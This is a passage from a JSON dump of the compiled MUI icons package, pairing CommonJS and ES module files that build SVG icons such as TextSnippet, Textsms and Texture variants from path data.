    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m6.35 19.65 1.79-1.79c.32-.32.1-.86-.35-.86H7V5c0-.55-.45-1-1-1s-1 .45-1 1v12h-.79c-.45 0-.67.54-.35.85l1.79 1.79c.19.2.51.2.7.01M12.2 8.5v5l-1.6.66c-.36.15-.6.5-.6.89 0 .69.71 1.15 1.34.88l8.97-3.88c.42-.18.69-.59.69-1.05s-.27-.87-.69-1.05l-8.97-3.88c-.63-.27-1.34.2-1.34.89 0 .39.24.74.6.89zm6.82 2.5L14 12.87V9.13z\"\n}), 'TextRotationDownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationDownSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6 20 3-3H7V4H5v13H3zm6.2-11.5v5l-2.2.9v2.1l11-4.75v-1.5L10 5.5v2.1zm6.82 2.5L14 12.87V9.13z\"\n}), 'TextRotationDownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationDownSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m6 20 3-3H7V4H5v13H3zm6.2-11.5v5l-2.2.9v2.1l11-4.75v-1.5L10 5.5v2.1zm6.82 2.5L14 12.87V9.13z\"\n}), 'TextRotationDownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationDownTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6 20 3-3H7V4H5v13H3zm6.2-11.5v5l-2.2.9v2.1l11-4.75v-1.5L10 5.5v2.1zm6.82 2.5L14 12.87V9.13z\"\n}), 'TextRotationDownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationDownTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m6 20 3-3H7V4H5v13H3zm6.2-11.5v5l-2.2.9v2.1l11-4.75v-1.5L10 5.5v2.1zm6.82 2.5L14 12.87V9.13z\"\n}), 'TextRotationDownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationNone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.75 3h-1.5L6.5 14h2.1l.9-2.2h5l.9 2.2h2.1zm-2.62 7L12 4.98 13.87 10zm10.37 8-3-3v2H5v2h12.5v2z\"\n}), 'TextRotationNone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationNone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.75 3h-1.5L6.5 14h2.1l.9-2.2h5l.9 2.2h2.1zm-2.62 7L12 4.98 13.87 10zm10.37 8-3-3v2H5v2h12.5v2z\"\n}), 'TextRotationNone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationNoneOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 18-3-3v2H5v2h13v2zM9.5 11.8h5l.9 2.2h2.1L12.75 3h-1.5L6.5 14h2.1zM12 4.98 13.87 10h-3.74z\"\n}), 'TextRotationNoneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationNoneOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 18-3-3v2H5v2h13v2zM9.5 11.8h5l.9 2.2h2.1L12.75 3h-1.5L6.5 14h2.1zM12 4.98 13.87 10h-3.74z\"\n}), 'TextRotationNoneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationNoneRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.65 17.65-1.79-1.79c-.32-.32-.86-.1-.86.35V17H6c-.55 0-1 .45-1 1s.45 1 1 1h12v.79c0 .45.54.67.85.35l1.79-1.79c.2-.19.2-.51.01-.7M9.5 11.8h5l.66 1.6c.15.36.5.6.89.6.69 0 1.15-.71.88-1.34l-3.88-8.97C12.87 3.27 12.46 3 12 3s-.87.27-1.05.69l-3.88 8.97c-.27.63.2 1.34.89 1.34.39 0 .74-.24.89-.6zM12 4.98 13.87 10h-3.74z\"\n}), 'TextRotationNoneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationNoneRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.65 17.65-1.79-1.79c-.32-.32-.86-.1-.86.35V17H6c-.55 0-1 .45-1 1s.45 1 1 1h12v.79c0 .45.54.67.85.35l1.79-1.79c.2-.19.2-.51.01-.7M9.5 11.8h5l.66 1.6c.15.36.5.6.89.6.69 0 1.15-.71.88-1.34l-3.88-8.97C12.87 3.27 12.46 3 12 3s-.87.27-1.05.69l-3.88 8.97c-.27.63.2 1.34.89 1.34.39 0 .74-.24.89-.6zM12 4.98 13.87 10h-3.74z\"\n}), 'TextRotationNoneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationNoneSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 18-3-3v2H5v2h13v2zM9.5 11.8h5l.9 2.2h2.1L12.75 3h-1.5L6.5 14h2.1zM12 4.98 13.87 10h-3.74z\"\n}), 'TextRotationNoneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationNoneSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 18-3-3v2H5v2h13v2zM9.5 11.8h5l.9 2.2h2.1L12.75 3h-1.5L6.5 14h2.1zM12 4.98 13.87 10h-3.74z\"\n}), 'TextRotationNoneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationNoneTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 18-3-3v2H5v2h13v2zM9.5 11.8h5l.9 2.2h2.1L12.75 3h-1.5L6.5 14h2.1zM12 4.98 13.87 10h-3.74z\"\n}), 'TextRotationNoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationNoneTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 18-3-3v2H5v2h13v2zM9.5 11.8h5l.9 2.2h2.1L12.75 3h-1.5L6.5 14h2.1zM12 4.98 13.87 10h-3.74z\"\n}), 'TextRotationNoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextSnippet.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.41 8.41-4.83-4.83c-.37-.37-.88-.58-1.41-.58H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V9.83c0-.53-.21-1.04-.59-1.42M7 7h7v2H7zm10 10H7v-2h10zm0-4H7v-2h10z\"\n}), 'TextSnippet');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextSnippet.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.41 8.41-4.83-4.83c-.37-.37-.88-.58-1.41-.58H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V9.83c0-.53-.21-1.04-.59-1.42M7 7h7v2H7zm10 10H7v-2h10zm0-4H7v-2h10z\"\n}), 'TextSnippet');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextSnippetOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.17 5 19 9.83V19H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V9.83c0-.53-.21-1.04-.59-1.41l-4.83-4.83c-.37-.38-.88-.59-1.41-.59M7 15h10v2H7zm0-4h10v2H7zm0-4h7v2H7z\"\n}), 'TextSnippetOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextSnippetOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.17 5 19 9.83V19H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V9.83c0-.53-.21-1.04-.59-1.41l-4.83-4.83c-.37-.38-.88-.59-1.41-.59M7 15h10v2H7zm0-4h10v2H7zm0-4h7v2H7z\"\n}), 'TextSnippetOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextSnippetRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.17 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V9.83c0-.53-.21-1.04-.59-1.41l-4.83-4.83c-.37-.38-.88-.59-1.41-.59M8 15h8c.55 0 1 .45 1 1s-.45 1-1 1H8c-.55 0-1-.45-1-1s.45-1 1-1m0-4h8c.55 0 1 .45 1 1s-.45 1-1 1H8c-.55 0-1-.45-1-1s.45-1 1-1m0-4h5c.55 0 1 .45 1 1s-.45 1-1 1H8c-.55 0-1-.45-1-1s.45-1 1-1\"\n}), 'TextSnippetRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextSnippetRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.17 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V9.83c0-.53-.21-1.04-.59-1.41l-4.83-4.83c-.37-.38-.88-.59-1.41-.59M8 15h8c.55 0 1 .45 1 1s-.45 1-1 1H8c-.55 0-1-.45-1-1s.45-1 1-1m0-4h8c.55 0 1 .45 1 1s-.45 1-1 1H8c-.55 0-1-.45-1-1s.45-1 1-1m0-4h5c.55 0 1 .45 1 1s-.45 1-1 1H8c-.55 0-1-.45-1-1s.45-1 1-1\"\n}), 'TextSnippetRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextSnippetSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 9-6-6H3v18h18zM7 7h7v2H7zm10 10H7v-2h10zm0-4H7v-2h10z\"\n}), 'TextSnippetSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextSnippetSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 9-6-6H3v18h18zM7 7h7v2H7zm10 10H7v-2h10zm0-4H7v-2h10z\"\n}), 'TextSnippetSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextSnippetTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.17 5 19 9.83V19H5V5zM7 15h10v2H7zm0-4h10v2H7zm0-4h7v2H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.17 5 19 9.83V19H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V9.83c0-.53-.21-1.04-.59-1.41l-4.83-4.83c-.37-.38-.88-.59-1.41-.59M7 15h10v2H7zm0-4h10v2H7zm0-4h7v2H7z\"\n}, \"1\")], 'TextSnippetTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextSnippetTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.17 5 19 9.83V19H5V5zM7 15h10v2H7zm0-4h10v2H7zm0-4h7v2H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.17 5 19 9.83V19H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V9.83c0-.53-.21-1.04-.59-1.41l-4.83-4.83c-.37-.38-.88-.59-1.41-.59M7 15h10v2H7zm0-4h10v2H7zm0-4h7v2H7z\"\n}, \"1\")], 'TextSnippetTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Textsms.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 11H7V9h2zm4 0h-2V9h2zm4 0h-2V9h2z\"\n}), 'Textsms');"
  },
  {
    "path": "packages/mui-icons-material/lib/Textsms.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 11H7V9h2zm4 0h-2V9h2zm4 0h-2V9h2z\"\n}), 'Textsms');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextsmsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H6l-2 2V4h16zM7 9h2v2H7zm4 0h2v2h-2zm4 0h2v2h-2z\"\n}), 'TextsmsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextsmsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H6l-2 2V4h16zM7 9h2v2H7zm4 0h2v2h-2zm4 0h2v2h-2z\"\n}), 'TextsmsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextsmsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 11H7V9h2zm4 0h-2V9h2zm4 0h-2V9h2z\"\n}), 'TextsmsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextsmsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 11H7V9h2zm4 0h-2V9h2zm4 0h-2V9h2z\"\n}), 'TextsmsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextsmsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2.01L2 22l4-4h16zM9 11H7V9h2zm4 0h-2V9h2zm4 0h-2V9h2z\"\n}), 'TextsmsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextsmsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2.01L2 22l4-4h16zM9 11H7V9h2zm4 0h-2V9h2zm4 0h-2V9h2z\"\n}), 'TextsmsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextsmsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4 18 2-2h14V4H4zm11-9h2v2h-2zm-4 0h2v2h-2zM7 9h2v2H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H6l-2 2V4h16zM7 9h2v2H7zm4 0h2v2h-2zm4 0h2v2h-2z\"\n}, \"1\")], 'TextsmsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextsmsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4 18 2-2h14V4H4zm11-9h2v2h-2zm-4 0h2v2h-2zM7 9h2v2H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H6l-2 2V4h16zM7 9h2v2H7zm4 0h2v2h-2zm4 0h2v2h-2z\"\n}, \"1\")], 'TextsmsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Texture.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.51 3.08 3.08 19.51c.09.34.27.65.51.9.25.24.56.42.9.51L20.93 4.49c-.19-.69-.73-1.23-1.42-1.41M11.88 3 3 11.88v2.83L14.71 3zM5 3c-1.1 0-2 .9-2 2v2l4-4zm14 18c.55 0 1.05-.22 1.41-.59.37-.36.59-.86.59-1.41v-2l-4 4zm-9.71 0h2.83L21 12.12V9.29z\"\n}), 'Texture');"
  },
  {
    "path": "packages/mui-icons-material/lib/Texture.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.51 3.08 3.08 19.51c.09.34.27.65.51.9.25.24.56.42.9.51L20.93 4.49c-.19-.69-.73-1.23-1.42-1.41M11.88 3 3 11.88v2.83L14.71 3zM5 3c-1.1 0-2 .9-2 2v2l4-4zm14 18c.55 0 1.05-.22 1.41-.59.37-.36.59-.86.59-1.41v-2l-4 4zm-9.71 0h2.83L21 12.12V9.29z\"\n}), 'Texture');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextureOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.51 3.08 3.08 19.51c.09.34.27.65.51.9.25.24.56.42.9.51L20.93 4.49c-.19-.69-.73-1.23-1.42-1.41M11.88 3 3 11.88v2.83L14.71 3zM5 3c-1.1 0-2 .9-2 2v2l4-4zm14 18c.55 0 1.05-.22 1.41-.59.37-.36.59-.86.59-1.41v-2l-4 4zm-9.71 0h2.83L21 12.12V9.29z\"\n}), 'TextureOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextureOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.51 3.08 3.08 19.51c.09.34.27.65.51.9.25.24.56.42.9.51L20.93 4.49c-.19-.69-.73-1.23-1.42-1.41M11.88 3 3 11.88v2.83L14.71 3zM5 3c-1.1 0-2 .9-2 2v2l4-4zm14 18c.55 0 1.05-.22 1.41-.59.37-.36.59-.86.59-1.41v-2l-4 4zm-9.71 0h2.83L21 12.12V9.29z\"\n}), 'TextureOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextureRounded.js",
